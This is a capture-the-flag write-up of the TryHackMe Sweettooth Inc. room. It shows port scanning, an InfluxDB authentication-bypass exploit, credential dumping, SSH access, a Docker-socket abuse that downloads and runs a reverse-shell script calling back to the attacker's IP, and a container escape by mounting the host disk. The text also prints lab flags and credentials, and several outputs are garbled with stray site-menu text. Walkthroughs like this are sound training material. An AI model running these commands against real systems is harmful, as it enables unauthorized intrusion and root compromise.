

Sweettooth Inc.

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<https://tryhackme.com/room/sweettoothinc>

ssh tunneling

docker

```
rustscan -a 10.10.104.139 -- -sC -sV -A | tee scan.txt
```

```
(kali@kali)-[~/THM/sweet]
└─$ rustscan -a 10.10.104.139 -- -sC -sV -A | tee scan.txt
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.104.139:111
Open 10.10.104.139:2222
Open 10.10.104.139:8086
Open 10.10.104.139:45856
[~] Starting Nmap
[+] The Nmap command to be run is nmap -sC -sV -A -vvv -p 111,2222,8086,45856 10.10.104.139

Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-19 10:54 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:54
Completed NSE at 10:54, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:54
Completed NSE at 10:54, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:54
Completed NSE at 10:54, 0.00s elapsed
Initiating Ping Scan at 10:54
Scanning 10.10.104.139 [2 ports]
Completed Ping Scan at 10:54, 0.11s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:54
Completed Parallel DNS resolution of 1 host. at 10:54, 0.04s elapsed
DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 10:54
Scanning 10.10.104.139 [4 ports]
Discovered open port 111/tcp on 10.10.104.139
Discovered open port 8086/tcp on 10.10.104.139
Discovered open port 45856/tcp on 10.10.104.139
```

database pentesting

```
curl http://10.10.104.139:8086/debug/requests
```

```
(kali@kali)-[~/THM/sweet]
└─$ curl http://10.10.104.139:8086/debug/requests
{
  "o5yY6yya:127.0.0.1": {"writes":2,"queries":2}
}
```

I found username now I will use exploit

<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>

```
(kali㉿kali)-[~/THM/sweet/InfluxDB-Exploit-CVE-2019-20933]
$ python __main__.py

InfluxDB-Exploit-CVE-2019-20933

- using CVE-2019-20933

Host (default: localhost): 10.10.104.139
Port (default: 8086): 8086
Username <OR> path to username file (default: users.txt): o5yY6yya
Host vulnerable !!!

Databases:

1) creds
2) docker
3) tanks
4) mixer
5) _internal

.quit to exit
[o5yY6yya@10.10.104.139] Database: █
```

one more username

show measurements = show tables(SQL)

```
[o5yY6yya@10.10.104.139/creds] $ select * from ssh
{
  "results": [
    {
      "series": [
        {
          "columns": [
            "time",
            "pw",
            "user"
          ],
          "name": "ssh",
          "values": [
            [
              "2021-05-16T12:00:00Z",
              7788764472,
              "uzJk6Ry98d8C"
            ]
          ]
        }
      ]
    }
  ],
  "statement_id": 0
}
```

.quit to exit database

Temperature found(tanks database)

select * from water_tank

```
HackTricks V "statement_id": 0
}
] out the author
}
[o5yY6yya@10.10.104.139/tanks] $ select * from water_tank
{
  "results": [
    {
      "series": [
        {
          "columns": [
            "time",
            "filling_height",
            "temperature"
          ],
          "name": "water_tank",
          "values": [
            [
              "2021-05-16T12:00:00Z",
              93.7,
              21.66
            ],
            [
              "2021-05-16T13:00:00Z",
              93.86,
              21.42
            ],
            [
              "2021-05-16T14:00:00Z",
              93.55,
              22.55
            ],
            [
              "2021-05-18T13:00:00Z",
              93.65,
              22.97
            ],
            [
              "2021-05-18T14:00:00Z",
              93.65,
              22.5
            ],
            [
              "2021-05-18T15:00:00Z",
              94.31,
              23.26
            ],
            [
              "2021-05-18T16:00:00Z",
              92.69,
              22.22
            ]
          ]
        }
      ]
    }
  ]
}
```

```
> show databases
name: databases
----
telegraf
_internal

Show tables/measurements

The InfluxDB documentation explains that measurements are tables. The nomenclature of these measurements houses data relevant to a particular entity.

> 
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap

Show databases
name: databases
name
----
telegraf
_internal

The found databases are telegraf
```

Convert epoch to human-readable date and vice versa

 [batch convert]

Supports Unix timestamps in seconds, milliseconds, microseconds and nanoseconds.

Assuming that this timestamp is in **seconds**:

GMT: Tuesday, 18 May 2021 14:00:00

Your time zone: wtorek, 18 maja 2021 16:00:00 GMT+02:00 DST

Relative: 3 years ago

Max rpm I found in mixer database

```
select * from mixer_stats
```

```
Pentesting Network      58.98,
                        4480,
Pentesting Wifi         60.36
                        ],
Phishing Methodology    [
                        "2021-05-20T15:00:00Z",
Basic Forensic Methodology 58.98,
                        4875,
Brute Force - CheatSheet 60.36
                        ]
Python Sandbox Escape & Pyscript
                        }
Exfiltration            },
Tunneling and           ],
                        "statement_id": 0
                        }
                        ]
```

5yY6yya@10.10.104.139/mixer] \$

pw was a password!!

uzJk6Ry98d8C:7788764472

ssh

```
ssh uzJk6Ry98d8C@10.10.104.139
```

```
(kali㉿kali)-[~/THM/sweet]
$ ssh -p 2222 uzJk6Ry98d8C@10.10.104.139
The authenticity of host '[10.10.104.139]:2222 ([10.10.104.139]:2222)' can't be established.
ED25519 key fingerprint is SHA256:rxhYa4K7GBaKLDryL+Uko+qzgdtrJ80xKRHD4WYAWr8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.104.139]:2222' (ED25519) to the list of known hosts.
uzJk6Ry98d8C@10.10.104.139's password:

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the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
uzJk6Ry98d8C@524e9f3a661c:~$ ls
data meta.db user.txt wal
uzJk6Ry98d8C@524e9f3a661c:~$ cat user.txt
THM{V4w4FhBmtp4RFDti}
uzJk6Ry98d8C@524e9f3a661c:~$ sh -p 2222 uzJk6Ry98d8C@10.10.104.139
sh: 0: Illegal option -p
uzJk6Ry98d8C@524e9f3a661c:~$
```

privilege escalation

run linpeas

```
1) creds
2) tanks
3) Container
4) Container related tools present
5) Am I Containered?
6) Container details
7) Is this a container? ..... docker
8) Any running containers? ..... No
9) Docker Container details
10) Am I inside Docker group ..... No
11) Looking and enumerating Docker Sockets
You have write permissions over Docker socket /run/docker.sock
Docker enumeration: id requirements.txt users.txt
curl: option --unix-socket: is unknown
curl: try 'curl --help' or 'curl --manual' for more information
12) Docker version ...../linpeas.sh: 1703: [: Illegal number:
13) ./linpeas.sh: 1708: [: Illegal number:
14) Vulnerable to CVE-2019-5736 ....No
15) Vulnerable to CVE-2019-13139 ... No
16) Database: quit
17) Capabilities
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities
Current env capabilities:
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_
_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_c
cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap
Current proc capabilities:
CapInh: 00000003ffffffff
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 00000003ffffffff
18) Database: ^C
```

And I found 8080 and 22 port opened. 8080 running by socat))

```
Keyboard interrupt received, exiting.
19) Active Ports
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp LISTEN 0 5 *:* users:(("socat",pid=6863,fd=5))
tcp LISTEN 0 128 *:*
tcp LISTEN 0 128 127.0.0.1:8088 *:* users:(("influxd",pid=12,fd=3))
tcp LISTEN 0 128 :::8086 :::* users:(("influxd",pid=12,fd=5))
tcp LISTEN 0 128 :::22 :::*
20) Can I sniff with tcpdump?
No
```

In / directory I found script initialize.sh, inside I found path where socat create tunnel

```
socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CLIENT:/var/run/docker.sock &

# query each 5 seconds and write docker statistics to database
while true; do
  curl -o /dev/null -G http://localhost:8086/query?pretty=true --data-urlencode "q=show data
  sleep 5
  response="$(curl localhost:8080/containers/json)"
  containername=$(jq '.[0].Names' <<< "$response") | jq .[0] | grep -Eo "[a-zA-Z]+"
  status=$(jq '.[0].State' <<< "$response")
  influx -username o5yY6yya -password mJjeQ44e2unu -execute "insert into docker.autogen stat
done
uzJk6Ry98d8C@671c28ef1b2d:/$
```

Create tunnel to my kali

```
ssh -p 2222 uzJk6Ry98d8C@10.10.56.32 -L 5000:127.0.0.1:8080
```

```

10.10.56.32 - - [20/Feb/2024 09:56:20] "GET /linpeas.sh HTTP/1.1" 200 -
(kali㉿kali)-[~/THM/sweet]
$ ssh -p 2222 uzJk6Ry98d8C@10.10.56.32 -L 5000:127.0.0.1:8080
uzJk6Ry98d8C@10.10.56.32's password:
kali@kali:~$ cd /usr/share/doc/sweettoothinc/privilege_escalation/
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 20 14:36:23 2024 from ip-10-18-88-130.eu-west-1.compute.internal
uzJk6Ry98d8C@671c28ef1b2d:~$

```

```
docker -H tcp://localhost:5000 container ls
```

```

(kali㉿kali)-[~/THM/sweet]
$ docker -H tcp://localhost:5000 container ls
CONTAINER ID   IMAGE          COMMAND                  CREATED    STATUS    PORTS                               NAMES
671c28ef1b2d   sweettoothinc:latest  "/bin/bash -c 'chmod..." 42 minutes ago  Up 42 minutes  0.0.0.0:8086->8086/tcp, 0.0.0.0:2222->22/tcp  sweettoothinc

```

```
docker -H tcp://localhost:5000 container exec sweettoothinc id
```

I download revshell on target machine

```
docker -H tcp://localhost:5000 container exec sweettoothinc /bin/sh -i >&
```

```
/dev/tcp/10.18.88.130/1337 0>&1
```

```
python3 -m http.server 8000
```

```

Listening on [any] 1337 ...
(kali㉿kali)-[~/THM/sweet]
$ ls
scan.txt  s.sh

(kali㉿kali)-[~/THM/sweet]
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.56.32 - - [20/Feb/2024 10:27:51] "GET /s.sh HTTP/1.1" 200 -

```

```
docker -H tcp://localhost:5000 container exec sweettoothinc wget
```

```
http://10.18.88.130:8000/s.sh
```

```

(kali㉿kali)-[~/THM/sweet]
$ echo '/bin/sh -i >& /dev/tcp/10.18.88.130/1337 0>&1' > s.sh
(kali㉿kali)-[~/THM/sweet]
$ ls
scan.txt  s.sh

(kali㉿kali)-[~/THM/sweet]
$ docker -H tcp://localhost:5000 container exec sweettoothinc wget http://10.18.88.130:8000/s.sh
converted 'http://10.18.88.130:8000/s.sh' (ANSI_X3.4-1968) to 'http://10.18.88.130:8000/s.sh' (UTF-8)
--2024-02-20 15:27:55-- http://10.18.88.130:8000/s.sh
Connecting to 10.18.88.130:8000 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46 [text/x-sh]
Saving to: 's.sh'

0K
100% 4.57M=0s

2024-02-20 15:27:55 (4.57 MB/s) - 's.sh' saved [46/46]

```


run listener , and run shell

```
nc -lnvp 1337
```

```
docker -H tcp://localhost:5000 container exec sweettoothinc bash s.sh
```

```
2024-02-20 15:27:55 (4.57 MB/s) - 's.sh' saved [46/46]
```

```
(kali㉿kali)-[~/THM/sweet]
```

```
$ docker -H tcp://localhost:5000 container exec sweettoothinc bash s.sh
```

```
(kali㉿kali)-[~/THM/sweet]
```

```
$
```

```
$ nc -lnvp 1337
```

```
listening on [any] 1337 ...
```

```
connect to [10.18.88.130] from (UNKNOWN) [10.10.56.32] 38224
```

```
/bin/sh: 0: can't access tty; job control turned off
```

```
# id txt s.sh
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
# ls -la /root ~/THM/sweet
```

```
bin python3 http.server 8000
```

```
booting HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

```
dev 10.56.32 ~ - [20/Feb/2024 10:27:51] "GET /s.sh HTTP/1.1" 200 -
```

```
entrypoint.sh
```

```
etc
```

```
home
```

```
initializeandquery.sh
```

```
lib
```

```
lib64
```

```
media
```

```
mnt
```

```
opt
```

```
proc
```

```
root
```

```
run
```

```
s.sh
```

```
sbin
```

```
srv
```

```
sys
```

```
tmp
```

```
usr
```

```
var
```

```
# cd /root
```

```
# ls
```

```
root.txt
```

```
# cat root.txt
```

```
THM{5qsDivHdCi2oabwp}
```

```
#
```

docker escape

Check Vdisks

```
fdisk -l
```

Mount linux disk to created directory

<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation> (here I read how to escape)

Mounting Disk - Poc1

Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.

So to take over the host machine, it is trivial:

```
mkdir -p /mnt/hola  
mount /dev/sda1 /mnt/hola
```

And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.

Mounting Disk - Poc2

```
mkdir -p /mnt/hola  
mount /dev/xvda1 /mnt/hola  
cd /mnt/hola/root
```



```
# fdisk -l

Disk /dev/xvda: 16 GiB, 17179869184 bytes, 33554432 sectors
Units: sectors of 1 * 512 = 512 bytes    5000-127.0.0.1:8080
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa8257195
For each program are described in the
individual files in /usr/share/doc/*/copyright.
Device      Boot      Start        End    Sectors    Size Id Type
/dev/xvda1 * 2048 32088063 32086016 15.3G 83 Linux ext4
/dev/xvda2 32090110 33552383 1462274 714M 5 Extended
/dev/xvda5 32090112 33552383 1462272 714M 82 Linux swap / Solaris
Disk /dev/xvdh: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
# mount /dev/xvda1 /mnt/hola
# ls
root.txt
# cd /mnt/hola
# ls -la
total 108
drwxr-xr-x 22 root root 4096 May 15 2021 .
drwxr-xr-x 3 root root 4096 Feb 20 15:36 ..
drwxr-xr-x 2 root root 4096 May 15 2021 bin
drwxr-xr-x 3 root root 4096 May 15 2021 boot
drwxr-xr-x 4 root root 4096 May 15 2021 dev
drwxr-xr-x 137 root root 12288 Feb 20 15:29 etc
drwxr-xr-x 3 root root 4096 May 15 2021 home
lrwxrwxrwx 1 root root 32 May 15 2021 initrd.img → /boot/initrd.img-3.16.0-11-amd64
lrwxrwxrwx 1 root root 31 May 15 2021 initrd.img.old → /boot/initrd.img-3.16.0-4-amd64
drwxr-xr-x 18 root root 4096 May 15 2021 lib
drwxr-xr-x 2 root root 4096 May 15 2021 lib64
drwx----- 2 root root 16384 May 15 2021 lost+found

# cd /mnt/hola/root
# ls -la
total 28
drwx----- 2 root root 4096 May 18 2021 .
drwxr-xr-x 22 root root 4096 May 15 2021 ..
lrwxrwxrwx 1 root root 9 May 15 2021 .bash_history → /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
-rw-r--r-- 1 root root 66 May 15 2021 .selected_editor
-rw----- 1 root root 1611 May 15 2021 .viminfo
-rw-r--r-- 1 root root 22 May 15 2021 root.txt
# cat root.txt
THM{nY2ZahyFABAmjrnX}
# █
```